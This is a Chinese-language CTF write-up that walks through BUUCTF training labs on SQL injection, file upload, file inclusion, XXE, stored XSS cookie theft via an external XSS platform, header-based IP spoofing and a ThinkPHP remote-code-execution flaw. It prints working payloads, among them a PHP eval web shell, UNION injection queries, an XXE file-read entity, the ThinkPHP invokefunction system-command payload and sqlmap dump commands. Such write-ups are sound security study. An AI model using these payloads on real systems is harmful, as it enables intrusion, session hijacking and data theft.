文章目录
- 1. Linux Labs 【SSH连接漏洞】
- 2. BUU LFI COURSE【文件包含漏洞】
- 3. BUU BRUTE【暴力破解用户名密码】
- 4. BUU SQL COURSE【SQL注入-当前数据库】
- 5. Upload-Labs-Linux 1【文件上传漏洞】
- 7. Buu Upload Course 1【文件上传+包含漏洞】
- 8. sqli-labs 1【SQL注入-服务器上的其他数据库】
- 9. BUU BURP COURSE 1【IP伪造漏洞】
- 10. BUU XXE COURSE 1 【XXE漏洞】
- 11 LFI labs【文件包含漏洞】
- 12 BUU XSS COURSE 1【XSS漏洞-窃取cookie】
- 13 AWD Test 1【ThinkPHP框架漏洞】
- 15 AWD Test2 【SQL注入-万能密码】
- 16 BUU SQL COURSE 2【SQL注入-sqlmap使用】
- 17 [Windows]Upload-Labs-Windows【文件上传漏洞-基础】
- 18 XSS labs【XSS-基础】
1. Linux Labs 【SSH连接漏洞】
题目给出了ssh连接的用户名密码,考察 ssh 连接主机,主机 IP 地址可以通过ping域名获得;端口要改成靶机的端口,不是默认的22。
连接远程主机后即可找到 flag 文件。
2. BUU LFI COURSE【文件包含漏洞】
题目是一段PHP代码,看出来存在文件包含漏洞,只要传入文件名,就会将文件内容展示出来。可以盲目猜一猜 flag 的文件名:
3. BUU BRUTE【暴力破解用户名密码】
一道爆破题,burpsuite 爆破用户名密码即可。注意下请求过快会报 429,可以尝试减小线程数,增加延时。
4. BUU SQL COURSE【SQL注入-当前数据库】
这是一道SQL注入的题,可以看到地址栏输入 1 2 3 可以得到不同的显示结果,尝试判断注入点:
1)输入下列语句发现第一个有结果第二个没结果,说明是数值型且可以注入;
and 1=1
and 1=2
2)输入下列语句查找数据库名称,如果字段数不对可以再多试试,得到数据库为 news
union select 1,database()--+
3)输入下列语句查找表名,得到两张表 amdin 和 contents:
union select 1,group_concat(table_name) from information_schema.tables where table_schema="news"
4)输入下列语句查找 admin 表中的字段名,得到 id,username,password:
union select 1,group_concat(column_name) from information_schema.columns where table_name="admin"
5)知道了表名和字段名就可以查找表中的数据了,这里我们要找登录用户,找到后登录即可拿到 flag:
union select username,password from admin
5. Upload-Labs-Linux 1【文件上传漏洞】
文件上传漏洞,上传一个php一句话木马文件,返回了文件的访问路径,再用蚁剑连接,即可在根目录找到flag。
7. Buu Upload Course 1【文件上传+包含漏洞】
- 这个也是文件上传漏洞,上传一个木马文件,发现无论上传什么都会被重命名为 jpg 文件:
<?php eval(@$_POST['cmd']); echo "hello"?>
2. 本来这样是没啥办法的,但是我们访问这个木马文件,发现这个文件其实是被执行了,输出了 hello;
3. 所以这个其实是一个文件包含漏洞!!!只有文件包含漏洞才能将我们的 jpg 文件当作代码执行,所以还是直接用蚁剑访问这个木马文件,即可连接找到 flag。
8. sqli-labs 1【SQL注入-服务器上的其他数据库】
按照第 4 题类似的方式注入,查找当前数据库 security,发现所有表里都没有 flag。查找当前服务器上其他数据库:
union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+
发现有个 ctftraining 数据库,查找该数据库下的表,果然找到了有个 flag表,该表里有个flag字段。但注意后续查找 flag 的值需要带上数据库名,否则还会在当前数据库中查找就查不到了:
union+select+1,2,flag+from+ctftraining.flag--+
9. BUU BURP COURSE 1【IP伪造漏洞】
访问地址发现说只能本地访问,使用 bp 拦截请求,添加以下header头:
X-Real-IP: 127.0.0.1
Content-Length: 0
然后出现一个登录页面:
拦截该登录请求,同样添加:X-Real-IP: 127.0.0.1
登录成功,返回 flag。
10. BUU XXE COURSE 1 【XXE漏洞】
XXE漏洞参考:https://zhuanlan.zhihu.com/p/689906749
随便输入一个用户名密码,发现请求参数是 XML 格式的,且返回输入的 admin 值:
可能存在 XXE 漏洞。
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
构造 XML 实体来读取 flag:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY a SYSTEM "file:///flag">
]>
<root>
<username>&a;</username>
<password>1</password>
</root>
这里可能需要猜测一下 flag 所处的位置。结果返回 flag:
11 LFI labs【文件包含漏洞】
文件包含漏洞:
看提示需要输入文件名,输入:/flag,返回 flag
12 BUU XSS COURSE 1【XSS漏洞-窃取cookie】
- XSS 漏洞。这是一个留言板,留言以后会返回留言保存的位置:
- 注入 XSS:
<script>alert('flag')</script>
,但是没有成功,查看返回结果,原来是被转义了:
- 尝试其他注入:
<input onclick="alert('xss');">
,可以注入成功。同样 img 标签也可以成功。
- 现在的问题在于如何通过这个漏洞获取flag,XSS一般都是用来窃取cookie的,我们使用免费的 XSS 平台,通过xss漏洞将cookie窃取发到这个免费的 xss 平台上。
- 登录免费的XSS平台 https://xssaq.com/,首先创建一个项目,勾选以下两项:
- 出来一些示例代码,选取 img 标签的代码,提交到输入框中:
- 由于本 XSS 漏洞为存储型漏洞,当有人访问我们提交的这个吐槽时,就会自动将其 cookie 发送到我们的 XSS 平台上。去项目内容看看,果然有一条 cookie 消息:
- 直接访问这个后台地址 backend/admin.php,发现显示未登录:
拦截该请求,替换成管理员的 cookie,成功获取到了 flag:
13 AWD Test 1【ThinkPHP框架漏洞】
方式一:给出了ssh连接的用户名密码,通过 ssh 远程连接即可。
方式二:
- 启动靶机,是一个简陋的网页,随便点点,出现了以下页面:
- 说明网站使用的是 ThinkPHP框架,且知道了其版本号。去查查这个框架存在的漏洞,发现有远程代码执行漏洞:
且可以查到漏洞的利用方法,即构造以下payload可获取php配置文件:?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
- 输入上述payload,果然返回了 php 配置信息:
- phpinfo 没啥有用的,构造以下 payload 还可以执行命令:
注意 id 就是我们要执行的命令行代码,这里我们 ls 查看根目录的文件:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/
发现有个 flag 和 flag.txt:
5. 查看该 flag.txt 提交后不对,查看 flag,flag 正确。
payload 为 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
15 AWD Test2 【SQL注入-万能密码】
- 给出了ssh连接的用户名密码,通过 ssh 远程连接即可。
- 如果使用网页登录,登录可尝试万能密码
admin' or 1#
16 BUU SQL COURSE 2【SQL注入-sqlmap使用】
- SQL 注入的题,看选择一条新闻标题会展示一条新闻,可以从此处着手
- 开始在地址栏里尝试注入了好多次都没成功,后来才发现不应该直接在地址栏注入。打开F12,发现点击新闻时会发送一个隐藏的url,这个才是真正的注入点:
- 按照之前的方式尝试注入,可以注入成功,不细讲。
- 这里介绍使用 sqlmap 的使用方式,通过sqlmap实现注入。
//获取所有数据库
python sqlmap.py -u URL --dbs
//获取当前数据库
python sqlmap.py -u URL --current-db
//获取表名(如果不指定数据库,将默认获取所有库的表名)
python sqlmap.py -u URL -D 数据库名 --tabls
//获取字段名
python sqlmap.py -u URL -D 数据库名 -T 表名 --columns
//获取值
sqlmap -u URL -D 数据库名 -T 表名 -C 字段1,字段2,... --dump
依次爆出数据库名、表名、字段名,获取值即可:python sqlmap.py -u http://c9f858c4-097b-4614-afc0-6dfb99111e10.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D ctftraining -T flag -C flag --dump
17 [Windows]Upload-Labs-Windows【文件上传漏洞-基础】
文件上传漏洞,前端校验图片类型,burpsuite 改文件后缀即可绕过,成功上传一句话木马并且返回了文件路径。但是用蚁剑连接时报错不知道啥问题。
18 XSS labs【XSS-基础】
一直让做 xss-labs 的题,攻破到第八关还没得到flag,不想做了。